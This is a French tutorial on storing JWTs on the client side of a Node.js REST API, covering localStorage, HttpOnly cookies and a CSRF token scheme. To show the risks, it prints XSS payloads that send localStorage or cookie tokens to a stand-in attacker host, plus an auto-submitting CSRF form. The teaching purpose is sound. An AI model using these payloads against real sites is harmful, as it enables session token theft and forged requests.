Après avoir vu la théorie sur la sécurisation d’une API REST et l’implémentation en Node.js, nous allons clore cette série d’articles avec la gestion du JSON Web Token (JWT) coté client et voir les erreurs bien trop souvent commises.

Note : Avant de poursuivre, je tiens à préciser que les exemples de cet article sont fonctionnels, mais sont simplifiés au maximum pour que vous compreniez les concepts clés. Comme pour les autres articles certains raccourcis sont pris (middleware simplifié, gestion des erreurs, accès à la base de données, etc.) pour améliorer la compréhension, je ne me concentre pas sur l’architecture de l’application ce n’est pas le but de l’article. Comme toujours, libre à vous d’adapter en fonction de vos projets.

Connexion à l’API

Lors de la connexion à une API REST, on récupère souvent le JWT et le “refresh token” dans la réponse HTTP, c’est d’ailleurs ce que nous avons fait dans le précédent article :

{
"accessToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmaXJzdE5hbWUiOiJKb2huIiwibGFzdE5hbWUiOiJEb2UiLCJpYXQiOjE1OTE3MDcwMTksImV4cCI6MTU5MTcxMDYxOSwiYXVkIjoiIiwiaXNzIjoiIiwic3ViIjoiMSJ9.Nw41AQAiG7Qq0AVPFgY9H4-zG-4-JcUZ4KA3pFgMzPg",
"tokenType": "Bearer",
"accessTokenExpiresIn": 3600000,
"refreshToken": "CZzSZh2KbSURsmnhs8cRSLg0u87hPvINi8GjSQ7CQ2oGvx/GdEmBKzds0pr/r7tSI3Of1DIGBaL1P2xCOV3ynX/dFz8MblViF8BOrQROSRVMKhBwMyAY7akxQrFqpTeWN/abtEVSkTP7tlUUcI8PTjlY9ZPSakG2nBvPbf+fgM8=",
"refreshTokenExpiresIn": 2592000000
}

Vient alors la question du stockage de ceux-ci côté client.

Erreur n°1 : Stockage des tokens dans le “localStorage”

Lorsque l’on souhaite stocker les tokens coté client, on pense naturellement à l’utilisation du localStorage. Le code pour se connecter à notre API et récupérer les tokens pourrait ressembler à ceci :

async function connect(username, password) {
const headers = new Headers();
headers.append('Content-Type', 'application/json');
const options = {
method: 'POST',
mode: 'cors',
body: JSON.stringify({
username,
password
}),
headers
};
const response = await fetch('https://mon-api.com/login', options);
return response.json();
}

Il suffit ensuite de stocker les tokens dans le localStorage :

/* Le nom d'utilisateur et le mot de passe doivent être récupérés depuis un formulaire par exemple */
const tokens = await connect(username, password);
/* Le localStorage ne stocke que des chaines de caractères nous devons donc faire appel à la méthode "JSON.stringify" */
localStorage.setItem('tokens', JSON.stringify(tokens));

Il est possible de voir le contenu du localStorage dans la console de votre navigateur. Pour Chrome, il suffit de se rendre dans l’onglet “Application” puis “Local Storage”.

Affichage du "localStorage" dans la console du navigateur
Affichage du "localStorage" dans la console du navigateur

Lorsque le client souhaite effectuer une requête sur une route sécurisée de notre API, celui-ci devra transmettre le JWT via l’en-tête HTTP Authorization:

/* On récupère les tokens depuis le localStorage */
const tokens = localStorage.getItem('tokens');
if (!tokens) {
/* Traitement dans le cas où aucun token n'existe dans le localStorage */
}
/* Le localStorage stocke les données sous forme de chaines de caractères nous transformons donc la donnée en JSON */
const { accessToken, tokenType } = JSON.parse(tokens);
/* On créer l'en-tête Authorization contenant le JWT */
const headers = new Headers();
headers.append('Authorization', `${tokenType} ${accessToken}`);
const options = {
method: 'GET',
mode: 'cors',
headers
};
/* On effectue la requête */
const response = await fetch('https://mon-api.com/anything', options);
const data = await response.json();

Malheureusement, cette façon de stocker les tokens ouvre la porte à une faille bien connue : la faille XSS.

La faille XSS

XSS ou cross-site scripting est un type de faille permettant d’injecter du contenu dans une page web par exemple du HTML ou du JavaScript. 

Il existe plusieurs types d’attaques XSS, d’ailleurs un article dédié à la sécurité web devrait sortir prochainement dans lequel nous verrons en détail les différents types d’attaques XSS et comment s’en protéger.

Pour notre exemple, nous allons simplement voir l’attaque la plus répandue qui est l’attaque XSS stockée. Ce type d’attaque consiste simplement à un pirate d’envoyer du contenu malicieux à notre API (code JavaScript ou HTML par exemple) qui va le stocker en base de données et le restituer tel quel à notre application web qui elle va l’exécuter.

Le code malicieux peut être simplement :

<script>alert('You have been hacked !')</script>
Affichage un dialogue d'alerte via une faille XSS
Affichage un dialogue d'alerte via une faille XSS

Bon c’est pas jolie, jolie, mais rien de bien méchant, mais cela peut être ce type de code :

<script>new Image().src = `https://hacker-website.com/tokens?value=${localStorage.getItem('tokens')}`;</script>

Le navigateur exécute ce code et effectue une requête GET sur le serveur du pirate avec les tokens en paramètre de l’URL sans que l’utilisateur s’en aperçoive. Il suffit ensuite au pirate de logger de son côté la requête pour récupérer les tokens :

[2020-06-06T07:34:54.570Z] GET /tokens
{
value: '{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmaXJzdE5hbWUiOiJKb2huIiwibGFzdE5hbWUiOiJEb2UiLCJpYXQiOjE1OTE3NzQ0OTMsImV4cCI6MTU5MTc3ODA5MywiYXVkIjoiIiwiaXNzIjoiIiwic3ViIjoiMSJ9.7xgB01GIMpx9iDT5QoLgCq1rTAq8zrk6rVki
9S3uFsQ","tokenType":"Bearer","accessTokenExpiresIn":3600000,"refreshToken":"kMRT4/rJ349DpjlnkFYXiEu9UKcf26ye17R8d5h1mmM4qfKE Tnbf e eKFTgFupxDTk1VpCN4ggoyXeIUMxhfuDdUUR hF0wg3Wt498Uy0RWU2dGw26TKtHIhr3K15GkQu52pp28M8UQ72sFDtrzGs2rnp
fo0VQZC6wqBT5pn0=","refreshTokenExpiresIn":2592000000}'
}

Bon cette fois-ci c’est beaucoup plus grave ! Ceci n’est qu’un exemple parmi tant qu’autres permettant de voler les tokens depuis le localStorage. Il existe bien entendu des solutions pour prévenir ce genre d’attaques comme nettoyer les données reçues pour les attaques XSS stockées par exemple, mais on en parlera dans un prochain article. Malgré tout stocker les tokens dans le localStorage est une très mauvaise pratique.

Erreur n°2 : Stockage des tokens dans les cookies

Comme nous l’avons vu stocker les tokens dans le localStorage ouvre la porte aux attaques XSS. Une autre solution consiste à stocker ceux-ci dans des cookies. 

Dans le précédent article, notre API envoyait directement au client les tokens dans la réponse HTTP comme nous l’avons vu en introduction. Notre code ressemblait à ceci :

return res.json({
accessToken,
tokenType: config.accessToken.type,
accessTokenExpiresIn: config.accessToken.expiresIn,
refreshToken,
refreshTokenExpiresIn: config.refreshToken.expiresIn
});

Modifions celui-ci pour envoyer cette fois-ci les tokens dans des cookies :

/* On créer le cookie contenant le JWT */
res.cookie('access_token', accessToken, {
maxAge: config.accessToken.expiresIn // Le temps d'expiration du cookie en ms
});
/* On créer le cookie contenant le refresh token */
res.cookie('refresh_token', refreshToken, {
maxAge: config.refreshToken.expiresIn, // Le temps d'expiration du cookie en ms
path: '/token' // Ce cookie ne sera envoyé que sur la route /token
});
/* On envoie tout de même une réponse JSON contenant les durées de vie des tokens */
res.json({
accessTokenExpiresIn: config.accessToken.expiresIn,
refreshTokenExpiresIn: config.refreshToken.expiresIn
});

Dans le cas d’une requête qui concerne le même domaine, le navigateur enregistre automatiquement les cookies. Par contre lorsque l’on effectue des requêtes entre domaines différents, ce qui est fréquent dans le cas d’une API REST, il devient obligatoire d’ajouter la propriété credentials aux options de la méthode fetch et de lui assigner la valeur include:

async function connect(username, password) {
const headers = new Headers();
headers.append('Content-Type', 'application/json');
const options = {
method: 'POST',
mode: 'cors',
body: JSON.stringify({ username, password }),
headers,
credentials: 'include'
};
const response = await fetch('https://mon-api.com/login', options);
return response.json();
}

Si vous utilisez la classe XMLHttpRequest ou la librairie axios à la place de fetch, il suffit de définir l’option withCredentials à true.

Comme pour le localStorage, vous pouvez directement voir les cookies depuis la console de votre navigateur. Pour Chrome, il suffit de se rendre dans l’onglet “Application” puis “Cookies”.

Affichage des cookies dans la console du navigateur
Affichage des cookies dans la console du navigateur

Il faut maintenant, dès lors que l’on effectue une requête sur une route sécurisée, envoyer les cookies à notre API. Comme pour l’enregistrement des cookies, si la requête concerne le même domaine, ceux-ci sont envoyés automatiquement. Dans le cas contraire, il faut ajouter la propriété credentials aux options de la méthode fetch et de lui assigner la valeur include (ou withCredentials à true pour la classe XMLHttpRequest ou la librairie axios) :

const options = { method: 'GET', mode: 'cors', headers, credentials: 'include' };
const response = await fetch('https://mon-api.com/anything', options);
const data = await response.json();

Côté serveur, il faut par contre modifier le middleware d’authentification puisque celui-ci récupérait le JWT depuis l’en-tête HTTP Authorization, il faut maintenant le récupérer depuis les cookies:

const jwt = require('jsonwebtoken');
const User = require('./models/User');
const { secret, algorithm } = require('./config');
async function auth(req, res, next) {
try {
const { cookies } = req;
/* On vérifie que le JWT est présent dans les cookies de la requête */
if (!cookies || !cookies.access_token) {
return res.status(401).json({
message: 'Missing token in cookie'
});
}
/* On vérifie et décode le token à l'aide du secret et de l'algorithme utilisé pour le générer */
const decodedToken = jwt.verify(cookies.access_token, secret, {
algorithms: algorithm
});
/* On vérifie que l'utilisateur existe bien dans notre base de données */
const userId = decodedToken.sub;
const user = await User.findOne({ where: { id: userId } });
if (!user) {
return res.status(401).json({
message: `User ${userId} not exists`
});
}
/* On passe l'utilisateur dans notre requête afin que celui-ci soit disponible pour les prochains middlewares */
req.user = user;
/* On appelle le prochain middleware */
return next();
} catch (err) {
return res.status(500).json({
message: 'Internal error'
});
}
}

Bon normalement là tout est bon, on doit maintenant être protégé contre les attaques XSS !

Eh bien… Pas du tout ! En fait il est tout à fait possible de récupérer les cookies en JavaScript :

document.cookie

On peut donc utiliser la même faille XSS que pour localStorage :

<script>new Image().src = `https://hacker-website.com/tokens?value=${document.cookie}`;</script>

Bon vous vous en doutez il existe une solution pour protéger nos cookies d’une attaque XSS.

Il existe deux options permettant de sécuriser nos cookies :

  • HttpOnly : Cette option permet d’interdire l’utilisation du cookie côté client, il est donc impossible de récupérer celui-ci via l’instruction vue précédemment, on est donc protégé des failles XSS;
  • secure : Cette option permet d’envoyer le cookie uniquement dans via le protocole HTTPS.

Modifions donc notre code coté serveur:

/* On créer le cookie contenant le JWT */
res.cookie('access_token', accessToken, {
httpOnly: true,
secure: true,
maxAge: config.accessToken.expiresIn
});
/* On créer le cookie contenant le refresh token */
res.cookie('refresh_token', refreshToken, {
httpOnly: true,
secure: true,
maxAge: config.refreshToken.expiresIn,
path: '/token'
});
/* On envoie tout de même une réponse JSON contenant les durées de vie des tokens */
res.json({
accessTokenExpiresIn: config.accessToken.expiresIn,
refreshTokenExpiresIn: config.refreshToken.expiresIn
});

Cette fois-ci c’est tout bon… Enfin pas vraiment. On est bien protégé des attaques XSS mais on est vulnérable à un autre type d’attaque : les attaques CSRF.

La faille CSRF

Cross Site Request Forgery ou CSRF est un type de faille qui consiste simplement à faire exécuter à une victime une requête HTTP à son insu.

On va prendre un exemple très simple pour mieux comprendre  :

  • Un utilisateur est authentifié sur notre API. Le cookie contenant le JWT est alors stocké dans son navigateur;
  • Une personne mal intentionnée incite l’utilisateur à visiter la page d’un site contenant du code malveillant exécutant une requête vers notre API;
  • La requête est envoyée sur notre API avec le cookie contenant le JWT de l’utilisateur qui est ajouté automatiquement par le navigateur;
  • Notre API effectue l’opération correspondant à la requête à l’insu de l’utilisateur.
Exemple d'attaque CSRF
Exemple d'attaque CSRF

Il y a plusieurs manières de procéder à une attaque CSRF,  par exemple cela peut être un formulaire qui est envoyé une fois la page chargée :

<body onload="document.hacked.submit()">
<form action="https://mon-api.com/posts" method="POST" name="hacked">
<input type="hidden" name="content" value="You have been hacked !" />
</form>
</body>

Ce code effectue une requête POST sur notre API et ajoute un article dont le contenu est “You have been hacked !”. Imaginez donc ce qu’il est possible de faire avec ce type d’attaque.

Concernant le refresh token, le stockage dans un cookie ne pose pas de problème. Celui-ci est uniquement utilisé pour générer un nouveau JWT. Donc même dans le cas d’une attaque CSRF, l’attaquant n’a pas moyen de récupérer le nouveau JWT ou d’effectuer d’autres actions.

Ce qu’il nous faut c’est donc un moyen de protéger le JWT contre les attaques XSS et CSRF.

FUUUUSION… HA !

Nous avons vu que le stockage des tokens dans le localStorage nous exposé aux attaques XSS et que le stockage de ceux-ci dans des cookies nous exposé cette fois-ci aux attaques CSRF.

Du coup, quelle solution pour nous prémunir de ces attaques ? Et bien nous allons fusionner les deux solutions. En effet, le localStorage n’est pas sensible aux attaques CSRF et inversement les cookies ne sont pas sensibles aux attaques XSS (via la propriété HttpOnly).

L’idée est de diviser nos informations d’authentification en deux parties et de stocker celles-ci à la fois dans le localStorage et dans un cookie. On envoie ensuite ses deux informations au serveur, l’une via le cookie et l’autre via un en-tête HTTP.

Concrètement, voici comment cela se déroule :

  • Lors de l’authentification, notre API va générer un token unique que l’on appelle token CSRF et qui sera stocké dans le payload du JWT;
  • Notre API envoie le JWT dans un cookie et le token CSRF dans le corps de la réponse HTTP;
  • Le navigateur va s’occuper de stocker le cookie et nous allons stocker le token CSRF dans le localStorage;
  • Lors d’une requête sur notre API, celle-ci doit comporter à la fois le cookie contenant le JWT et un en-tête HTTP x-xsrf-token contenant le token CSRF;
  • Notre API décode le JWT et vérifie sa validité;
  • Notre API vérifie que le token CSRF contenu dans l’en-tête HTTP correspond à celui du payload du JWT, si c’est le cas l’utilisateur est authentifié.
Authentification à l'aide du JWT et du token CSRF
Authentification à l'aide du JWT et du token CSRF

Voyons voir maintenant ce que cela donne au niveau du code.

Coté serveur, commençons par modifier notre route de connexion  :

const crypto = require('crypto');
const jwt = require('jsonwebtoken');
const { User, RefreshToken } = require('./models');
const config = require('./config');
app.post('/login', async (req, res, next) => {
try {
/* On récupère le nom d'utilisateur et le mot de passe dans la requête */
const { username, password } = req.body;
/* On envoie une erreur au client si le paramètre username est manquant */
if (!username) {
return res.status(400).json({ message: 'missing_required_parameter', info: 'username' });
}
/* On envoie une erreur au client si le paramètre password est manquant */
if (!password) {
return res.status(400).json({ message: 'missing_required_parameter', info: 'password' });
}
/* On authentifie l'utilisateur */
const user = await User.authenticate(username, password);
/* On envoie une erreur au client si les informations de connexion sont erronées */
if (!user) {
return res.status(401).json({
message: 'Username or password is incorrect'
});
}
/* On créer le token CSRF */
const xsrfToken = crypto.randomBytes(64).toString('hex');
/* On créer le JWT avec le token CSRF dans le payload */
const accessToken = jwt.sign(
{ firstName: user.firstName, lastName: user.lastName, xsrfToken },
config.accessToken.secret,
{
algorithm: config.accessToken.algorithm,
audience: config.accessToken.audience,
expiresIn: config.accessToken.expiresIn / 1000, // Le délai avant expiration exprimé en seconde
issuer: config.accessToken.issuer,
subject: user.id.toString()
}
);
/* On créer le refresh token et on le stocke en BDD */
const refreshToken = crypto.randomBytes(128).toString('base64');
await RefreshToken.create({
userId: user.id,
token: refreshToken,
expiresAt: Date.now() + config.refreshToken.expiresIn
});
/* On créer le cookie contenant le JWT */
res.cookie('access_token', accessToken, {
httpOnly: true,
secure: true,
maxAge: config.accessToken.expiresIn
});
/* On créer le cookie contenant le refresh token */
res.cookie('refresh_token', refreshToken, {
httpOnly: true,
secure: true,
maxAge: config.refreshToken.expiresIn,
path: '/token'
});
/* On envoie une reponse JSON contenant les durées de vie des tokens et le token CSRF */
res.json({
accessTokenExpiresIn: config.accessToken.expiresIn,
refreshTokenExpiresIn: config.refreshToken.expiresIn,
xsrfToken
});
} catch (err) {
return res.status(500).json({ message: 'Internal server error' });
}
});

Coté client, la fonction de connexion reste la même, il nous faut juste stocker le token CSRF dans le localStorage

/* Le nom d'utilisateur et le mot de passe doivent être récupéré depuis un formulaire par exemple */
const { xsrfToken } = await connect(username, password);
/* Le localStorage ne stocke que des chaines de caractères nous devons donc faire appel à la méthode "JSON.stringify" */
localStorage.setItem('xsrfToken', JSON.stringify(xsrfToken));

Il nous faut maintenant gérer l’authentification via le middleware coté serveur :

const jwt = require('jsonwebtoken');
const User = require('./models/User');
const { secret, algorithm } = require('./config');
async function auth(req, res, next) {
try {
const { cookies, headers } = req;
/* On vérifie que le JWT est présent dans les cookies de la requête */
if (!cookies || !cookies.access_token) {
return res.status(401).json({ message: 'Missing token in cookie' });
}
const accessToken = cookies.access_token;
/* On vérifie que le token CSRF est présent dans les en-têtes de la requête */
if (!headers || !headers['x-xsrf-token']) {
return res.status(401).json({ message: 'Missing XSRF token in headers' });
}
const xsrfToken = headers['x-xsrf-token'];
/* On vérifie et décode le JWT à l'aide du secret et de l'algorithme utilisé pour le générer */
const decodedToken = jwt.verify(accessToken, secret, {
algorithms: algorithm
});
/* On vérifie que le token CSRF correspond à celui présent dans le JWT */
if (xsrfToken !== decodedToken.xsrfToken) {
return res.status(401).json({ message: 'Bad xsrf token' });
}
/* On vérifie que l'utilisateur existe bien dans notre base de données */
const userId = decodedToken.sub;
const user = await User.findOne({ where: { id: userId } });
if (!user) {
return res.status(401).json({ message: `User ${userId} not exists` });
}
/* On passe l'utilisateur dans notre requête afin que celui-ci soit disponible pour les prochains middlewares */
req.user = user;
/* On appelle le prochain middleware */
return next();
} catch (err) {
return res.status(500).json({ message: 'Internal error' });
}
}

Pour terminer, modifions notre code coté client pour effectuer une requête sur notre API :

/* On récupère le token CSRF depuis le localStorage */
let xsrfToken = localStorage.getItem('xsrfToken');
if (!xsrfToken) {
/* Traitement dans le cas où le token CSRF n'existe dans le localStorage */
}
/* Le localStorage stocke les données sous forme de chaines de caractères nous transformons donc la donnée en JSON */
xsrfToken = JSON.parse(xsrfToken);
/* On créer l'en-tête x-xsrf-token contenant le token CSRF */
const headers = new Headers();
headers.append('x-xsrf-token', xsrfToken);
const options = {
method: 'GET',
mode: 'cors',
headers,
credentials: 'include'
};
/* On effectue la requête */
const response = await fetch('https://mon-api.com/anything', options);
const data = await response.json();

Pour finir…

Pour clôturer cette série d’articles, nous avons vu quelques bonnes pratiques concernant la sécurisation d’une API REST, leurs implémentations en Node.js et que le simple stockage des tokens coté client pouvait exposer nos applications à plusieurs failles de sécurité.

Nous n’avons pas encore terminé côté sécurité, puisque nous verrons dans un prochain article comment nous prémunir entre autres des failles XSS et CSRF de manière plus générale et quelles sont les autres bonnes pratiques en termes de sécurité lorsque nous développons une application web.